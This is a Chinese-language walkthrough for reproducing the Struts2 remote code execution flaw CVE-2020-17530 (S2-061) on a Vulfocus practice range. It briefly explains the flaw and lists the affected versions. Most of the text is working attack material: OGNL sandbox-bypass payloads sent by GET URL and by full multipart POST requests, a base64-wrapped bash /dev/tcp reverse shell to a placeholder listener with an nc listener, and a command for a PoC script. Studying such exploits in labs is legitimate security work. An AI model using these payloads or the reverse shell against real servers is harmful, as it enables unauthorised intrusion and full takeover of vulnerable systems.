vulfocus 靶场struts2 代码执行 （CVE-2020-17530）

漏洞原理：

由于Struts2 会对某些标签属性(比如 id) 的属性值进行二次表达式解析，因此当这些标签属性中使用了 %{x} 且 x 的值用户可控时，用户即可构造一些SSRF、远程命令执行等形式的payload，并将这些恶意payload以%{...}形式传入该标签属性， 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。

影响版本：struts 2.0.0 - struts 2.5.25

复现步骤：

cve-2020-17530

1.get 方式执行：

试探是否有漏洞存在：

http://IP:port/?id=%25%7b+%27test%27+%2b+(2000+%2b+20).toString()%7d

查看网页源代码，显示有test2020 ,证明有漏洞存在

然后get方式执行，查看源代码，发现执行的命令结果存在：

http://ip:port/index.action?id=

whoami 替换成想要执行的命令

?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27whoami%27}).(%23res%3d%23exec.exec(%23cmd))}

抓包方式：

1. 浏览器输入地址：http://ip:port/index.action  ,BP抓包，请求方式改为POST

2.content-type 内容改为：

multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

3.贴上POC：其中红色字体id部分为执行的命令

------WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

或： 抓包，改为如下内容： 红色部分为要更改的地方

POST /.action HTTP/1.1
Host: IP:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0ogtkm7uvdt1kgl7lufd5d04y1.node0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;  boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 833

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
 

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
 

反弹shell：

base64编码如下反弹语句：

bash -i >& /dev/tcp/监听IP/port  0>&1

然后将编码后的语句放到下面：

bash -c {echo,编码后的内容} |{base64 ,-d}|{bash , -i}            #反弹语句1 

监听机进行监听：nc -lvvp port 

然后将反弹语句1 的内容放到arglist.add("反弹语句1")，执行

POST /.action HTTP/1.1
Host: IP:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0ogtkm7uvdt1kgl7lufd5d04y1.node0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;  boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 924

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("反弹语句")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
 

或者下载poc:

python \.s2-062.py --url http://ip:port  --cmd "ls /tmp"

命令执行